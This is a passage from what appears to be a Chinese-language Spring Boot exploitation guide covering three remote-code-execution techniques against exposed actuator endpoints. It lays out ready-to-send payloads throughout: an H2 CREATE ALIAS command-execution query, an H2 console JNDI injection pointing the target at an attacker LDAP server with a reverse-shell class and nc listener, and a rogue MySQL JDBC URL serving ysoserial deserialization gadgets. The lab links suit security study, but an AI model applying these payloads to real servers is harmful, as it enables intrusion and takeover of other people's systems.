1054 | [repository/springboot-jolokia-logback-rce](https://github.com/LandGrey/SpringBootVulExploit/tree/master/repository/springboot-jolokia-logback-rce)
1055 |
1056 | 正常访问:
1057 |
1058 | ```
1059 | http://127.0.0.1:9094/env
1060 | ```
1061 |
1062 |
1063 |
1064 | ### 0x06:h2 database query RCE
1065 |
1066 | #### 利用条件:
1067 |
1068 | - 可以 POST 请求目标网站的 `/env` 接口设置属性
1069 | - 可以 POST 请求目标网站的 `/restart` 接口重启应用(存在 spring-boot-starter-actuator 依赖)
1070 | - 存在 `com.h2database.h2` 依赖(版本要求暂未知)
1071 |
1072 |
1073 |
1074 | #### 利用方法:
1075 |
1076 | ##### 步骤一:设置 spring.datasource.hikari.connection-test-query 属性
1077 |
1078 | > ⚠️ 下面payload 中的 'T5' 方法每一次执行命令后都需要更换名称 (如 T6) ,然后才能被重新创建使用,否则下次 restart 重启应用时漏洞不会被触发
1079 |
1080 |
1081 |
1082 | spring 1.x(无回显执行命令)
1083 |
1084 | ```
1085 | POST /env
1086 | Content-Type: application/x-www-form-urlencoded
1087 |
1088 | spring.datasource.hikari.connection-test-query=CREATE ALIAS T5 AS CONCAT('void ex(String m1,String m2,String m3)throws Exception{Runti','me.getRun','time().exe','c(new String[]{m1,m2,m3});}');CALL T5('cmd','/c','calc');
1089 | ```
1090 |
1091 | spring 2.x(无回显执行命令)
1092 |
1093 | ```
1094 | POST /actuator/env
1095 | Content-Type: application/json
1096 |
1097 | {"name":"spring.datasource.hikari.connection-test-query","value":"CREATE ALIAS T5 AS CONCAT('void ex(String m1,String m2,String m3)throws Exception{Runti','me.getRun','time().exe','c(new String[]{m1,m2,m3});}');CALL T5('cmd','/c','calc');"}
1098 | ```
1099 |
1100 |
1101 |
1102 | ##### 步骤二:重启应用
1103 |
1104 | spring 1.x
1105 |
1106 | ```
1107 | POST /restart
1108 | Content-Type: application/x-www-form-urlencoded
1109 |
1110 | ```
1111 |
1112 | spring 2.x
1113 |
1114 | ```
1115 | POST /actuator/restart
1116 | Content-Type: application/json
1117 |
1118 | ```
1119 |
1120 |
1121 |
1122 | #### 漏洞原理:
1123 |
1124 | 1. spring.datasource.hikari.connection-test-query 属性被设置为一条恶意的 `CREATE ALIAS` 创建自定义函数的 SQL 语句
1125 | 2. 其属性对应 HikariCP 数据库连接池的 connectionTestQuery 配置,定义一个新数据库连接之前被执行的 SQL 语句
1126 | 3. restart 重启应用,会建立新的数据库连接
1127 | 4. 如果 SQL 语句中的自定义函数还没有被执行过,那么自定义函数就会被执行,造成 RCE 漏洞
1128 |
1129 |
1130 |
1131 | #### 漏洞分析:
1132 |
1133 | [remote-code-execution-in-three-acts-chaining-exposed-actuators-and-h2-database](https://spaceraccoon.dev/remote-code-execution-in-three-acts-chaining-exposed-actuators-and-h2-database)
1134 |
1135 |
1136 |
1137 | #### 漏洞环境:
1138 |
1139 | [repository/springboot-h2-database-rce](https://github.com/LandGrey/SpringBootVulExploit/tree/master/repository/springboot-h2-database-rce)
1140 |
1141 | 正常访问:
1142 |
1143 | ```
1144 | http://127.0.0.1:9096/actuator/env
1145 | ```
1146 |
1147 |
1148 |
1149 | ### 0x07:h2 database console JNDI RCE
1150 |
1151 | #### 利用条件:
1152 |
1153 | - 存在 `com.h2database.h2` 依赖(版本要求暂未知)
1154 | - spring 配置中启用 h2 console `spring.h2.console.enabled=true`
1155 | - JNDI 注入受目标 JDK 版本影响,jdk < 6u201/7u191/8u182/11.0.1(LDAP 方式)
1156 |
1157 |
1158 |
1159 | #### 利用方法:
1160 |
1161 | ##### 步骤一:访问路由获得 jsessionid
1162 |
1163 | 直接访问目标开启 h2 console 的默认路由 `/h2-console`,目标会跳转到页面 `/h2-console/login.jsp?jsessionid=xxxxxx`,记录下实际的 `jsessionid=xxxxxx` 值。
1164 |
1165 |
1166 |
1167 | ##### 步骤二:准备要执行的 Java 代码
1168 |
1169 | 编写优化过后的用来反弹 shell 的 [Java 示例代码](https://raw.githubusercontent.com/LandGrey/SpringBootVulExploit/master/codebase/JNDIObject.java) `JNDIObject.java`,
1170 |
1171 | 使用兼容低版本 jdk 的方式编译:
1172 |
1173 | ```bash
1174 | javac -source 1.5 -target 1.5 JNDIObject.java
1175 | ```
1176 |
1177 | 然后将生成的 `JNDIObject.class` 文件拷贝到 **步骤二** 中的网站根目录。
1178 |
1179 |
1180 |
1181 | ##### 步骤三:架设恶意 ldap 服务
1182 |
1183 | 下载 [marshalsec](https://github.com/mbechler/marshalsec) ,使用下面命令架设对应的 ldap 服务:
1184 |
1185 | ```bash
1186 | java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://your-vps-ip:80/#JNDIObject 1389
1187 | ```
1188 |
1189 |
1190 |
1191 | ##### 步骤四:监听反弹 shell 的端口
1192 |
1193 | 一般使用 nc 监听端口,等待反弹 shell
1194 |
1195 | ```bash
1196 | nc -lv 443
1197 | ```
1198 |
1199 |
1200 |
1201 | ##### 步骤五:发包触发 JNDI 注入
1202 |
1203 | 根据实际情况,替换下面数据中的 `jsessionid=xxxxxx`、`www.example.com` 和 `ldap://your-vps-ip:1389/JNDIObject`
1204 |
1205 | ```bash
1206 | POST /h2-console/login.do?jsessionid=xxxxxx
1207 | Host: www.example.com
1208 | Content-Type: application/x-www-form-urlencoded
1209 | Referer: http://www.example.com/h2-console/login.jsp?jsessionid=xxxxxx
1210 |
1211 | language=en&setting=Generic+H2+%28Embedded%29&name=Generic+H2+%28Embedded%29&driver=javax.naming.InitialContext&url=ldap://your-vps-ip:1389/JNDIObject&user=&password=
1212 | ```
1213 |
1214 |
1215 |
1216 | #### 漏洞分析:
1217 |
1218 | [Spring Boot + H2数据库JNDI注入](https://mp.weixin.qq.com/s/Yn5U8WHGJZbTJsxwUU3UiQ)
1219 |
1220 |
1221 |
1222 | #### 漏洞环境:
1223 |
1224 | [repository/springboot-h2-database-rce](https://github.com/LandGrey/SpringBootVulExploit/tree/master/repository/springboot-h2-database-rce)
1225 |
1226 | 正常访问:
1227 |
1228 | ```
1229 | http://127.0.0.1:9096/h2-console
1230 | ```
1231 |
1232 |
1233 |
1234 | ### 0x08:mysql jdbc deserialization RCE
1235 |
1236 | #### 利用条件:
1237 |
1238 | - 可以 POST 请求目标网站的 `/env` 接口设置属性
1239 | - 可以 POST 请求目标网站的 `/refresh` 接口刷新配置(存在 `spring-boot-starter-actuator` 依赖)
1240 | - 目标环境中存在 `mysql-connector-java` 依赖
1241 | - 目标可以请求攻击者的服务器(请求可出外网)
1242 |
1243 |
1244 |
1245 | #### 利用方法:
1246 |
1247 | ##### 步骤一:查看环境依赖
1248 |
1249 | GET 请求 `/env` 或 `/actuator/env`,搜索环境变量(classpath)中是否有 `mysql-connector-java` 关键词,并记录下其版本号(5.x 或 8.x);
1250 |
1251 | 搜索并观察环境变量中是否存在常见的反序列化 gadget 依赖,比如 `commons-collections`、`Jdk7u21`、`Jdk8u20` 等;
1252 |
1253 | 搜索 `spring.datasource.url` 关键词,记录下其 `value` 值,方便后续恢复其正常 jdbc url 值。
1254 |
1255 |
1256 |
1257 | ##### 步骤二:架设恶意 rogue mysql server
1258 |
1259 | 在自己控制的服务器上运行 [springboot-jdbc-deserialization-rce.py](https://raw.githubusercontent.com/LandGrey/SpringBootVulExploit/master/codebase/springboot-jdbc-deserialization-rce.py) 脚本,并使用 [ysoserial](https://github.com/frohoff/ysoserial) 自定义要执行的命令:
1260 |
1261 | ```bash
1262 | java -jar ysoserial.jar CommonsCollections3 calc > payload.ser
1263 | ```
1264 |
1265 | 在脚本**同目录下**生成 `payload.ser` 反序列化 payload 文件,供脚本使用。
1266 |
1267 |
1268 |
1269 | ##### 步骤三:设置 spring.datasource.url 属性
1270 |
1271 | > ⚠️ 修改此属性会暂时导致网站所有的正常数据库服务不可用,会对业务造成影响,请谨慎操作!
1272 |
1273 |
1274 |
1275 | mysql-connector-java 5.x 版本设置**属性值**为:
1276 |
1277 | ```
1278 | jdbc:mysql://your-vps-ip:3306/mysql?characterEncoding=utf8&useSSL=false&statementInterceptors=com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor&autoDeserialize=true
1279 | ```
1280 |
1281 | mysql-connector-java 8.x 版本设置**属性值**为:
1282 |
1283 | ```
1284 | jdbc:mysql://your-vps-ip:3306/mysql?characterEncoding=utf8&useSSL=false&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&autoDeserialize=true
1285 | ```
1286 |
1287 |
1288 |
1289 | spring 1.x
1290 |
1291 | ```
1292 | POST /env
1293 | Content-Type: application/x-www-form-urlencoded
1294 |
1295 | spring.datasource.url=对应属性值
1296 | ```
1297 |
1298 | spring 2.x
1299 |
1300 | ```
1301 | POST /actuator/env
1302 | Content-Type: application/json
1303 |
1304 | {"name":"spring.datasource.url","value":"对应属性值"}
1305 | ```
1306 |
1307 |
1308 |
1309 | ##### 步骤四:刷新配置
1310 |
1311 | spring 1.x
1312 |
1313 | ```
1314 | POST /refresh
1315 | Content-Type: application/x-www-form-urlencoded
1316 |
1317 | ```
1318 |
1319 | spring 2.x
1320 |
1321 | ```
1322 | POST /actuator/refresh
1323 | Content-Type: application/json
1324 |
1325 | ```
1326 |
1327 |
1328 |
1329 | ##### 步骤五:触发数据库查询
1330 |
1331 | 尝试访问网站已知的数据库查询的接口,例如: `/product/list` ,或者寻找其他方式,主动触发源网站进行数据库查询,然后漏洞会被触发
1332 |
1333 |
1334 |
1335 | ##### 步骤六:恢复正常 jdbc url
1336 |
1337 | 反序列化漏洞利用完成后,使用 **步骤三** 的方法恢复 **步骤一** 中记录的 `spring.datasource.url` 的原始 `value` 值
1338 |
1339 |
1340 |
1341 | #### 漏洞原理:
1342 |
1343 | 1. spring.datasource.url 属性被设置为外部恶意 mysql jdbc url 地址
1344 | 2. refresh 刷新后设置了一个新的 spring.datasource.url 属性值
1345 | 3. 当网站进行数据库查询等操作时,会尝试使用恶意 mysql jdbc url 建立新的数据库连接
1346 | 4. 然后恶意 mysql server 就会在建立连接的合适阶段返回反序列化 payload 数据
1347 | 5. 目标依赖的 mysql-connector-java 就会反序列化设置好的 gadget,造成 RCE 漏洞
1348 |
1349 |
1350 |
1351 | #### 漏洞分析:
1352 |
1353 | [New-Exploit-Technique-In-Java-Deserialization-Attack](https://i.blackhat.com/eu-19/Thursday/eu-19-Zhang-New-Exploit-Technique-In-Java-Deserialization-Attack.pdf)
1354 |
1355 |
1356 |
1357 | #### 漏洞环境:
1358 |
1359 | > 需要配置 application.properties 中的 spring.datasource.url、spring.datasource.username、spring.datasource.password,保证可以正常连上 mysql 数据库,否则程序启动时就会报错退出
1360 |
1361 | [repository/springboot-mysql-jdbc-rce](https://github.com/LandGrey/SpringBootVulExploit/tree/master/repository/springboot-mysql-jdbc-rce)
1362 |
1363 | 正常访问:
1364 |
1365 | ```
1366 | http://127.0.0.1:9097/actuator/env
1367 | ```
1368 |
1369 | 发送完 payload 后触发漏洞:
1370 |
1371 | ```
1372 | http://127.0.0.1:9097/product/list
1373 | ```
1374 |
1375 |
--------------------------------------------------------------------------------